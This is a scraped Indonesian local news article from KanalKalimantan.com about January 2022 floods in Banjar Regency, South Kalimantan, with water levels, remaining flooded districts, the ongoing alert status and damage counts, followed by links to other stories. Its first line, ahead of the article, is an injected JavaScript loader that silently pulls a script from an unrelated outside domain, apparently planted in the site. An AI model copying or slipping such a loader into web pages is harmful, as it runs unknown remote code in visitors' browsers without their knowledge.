(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA– Curah hujan dengan intensitas tinggi mengakibatkan bencana banjir di Kabupaten Banjar pada Selasa (11/1/2022) lalu. Hingga Senin (17/1/2022) sore, ketinggian muka air di setiap Kecamatan wilayah Kabupaten Banjar cenderung menurun dan berada di titik 00,00 cm.
Kepala Bidang Kedaruratan dan Logistik Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar, Daryanto mengatakan, keadaan di beberapa kecamatan sudah kembali normal.
“Sampai saat ini tidak ada lagi laporan mengenai warga mengungsi, tidak ada lagi warga minta evakuasi, dan tidak ada warga yang membutuhkan bantuan logistik,” ujar Daryanto saat ditemui KanalKalimantan.com.
Hanya tersisa tiga Kecamatan, lanjut Daryanto seperti Kecamatan Martapura, Martapura Timur, dan Martapura Barat, air masih menggenang di ketinggian 12 sampai 20 cm.
Baca juga : Atasi Truk dengan Muatan Berlebih, Banjarbaru Akan Berlakukan Zero ODOL Pada 2023
“Tersisa tiga kecamatan yaitu Kecamatan Martapura dengan variasi genangan 12 cm, Martapura Timur 17 cm, dan Martapura Barat 20 cm,” lanjut Daryanto.
Meski keadaan sudah kembali normal, Pemerintah Kabupaten Banjar masih menetapkan status siaga darurat banjir dan menghimbau kepada seluruh masyarakat untuk meningkatkan kewaspadaan bencana banjir susulan, mengingat hujan masih berpotensi terjadi.
Menurut laporan, BPBD Banjar masih melakukan kegiatan posko yang masih berdiri di beberapa kecamatan hingga 30 April 2022.
“Penanganan tanggal 11 sampai 15 sudah selesai, tapi kami dari BPBD tetap siaga untuk mengontrol kemungkinan jika terjadi curah hujan yang kembali tinggi,” terangnya.
Mengingatkan kembali tambah Daryanto, banjir Kalsel ini bukan merupakan banjir bandang melainkan adalah luapan air sungai yang tidak dapat menampung air akibat curah hujan dengan intensitas tinggi.
Baca juga : Djokovic Tarik Koper Tinggalkan Australia, setelah Kalah di Pengadilan Banding
“Untuk itu saat ini statusnya masih siaga darurat banjir. Tapi melihat kembali ke kondisinya, jika pada akhir Januari ini sudah reda maka akan kami stop. Jadi semoga saja bisa reda,” tutup Daryanto.
Dari data pantauan Polsek Pengaron Rabu (12/01/2022 ), beberapa wilayah yang terdampak di Kabupaten Banjar yaitu meliputi lima desa di Kecamatan Pengaron dengan kerugian materiil total meliputi 590 unit rumah, 3 kantor desa, 3 buah masjid, 7 buah musholla, 4 buah Sekolah Dasar, 3 buah Madrasah, serta pasar Pengaron.
Sedangkan rumah warga yang terdampak di Kecamatan Mataraman terlihat dari Jalan Nasional, seperti di Desa Mataraman, Desa Bawahan Selan dan desa yang berada di bantaran sungai aliran DAS Riam Kiwa Kecamatan Mataraman.(kanalkalimantan.com/Wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bandara Syamsudin Noor Banjarmasin akan kembali mempersiapkan kedatangan tamu jemaah Haul ke-20… Read More
KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More
KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
This website uses cookies.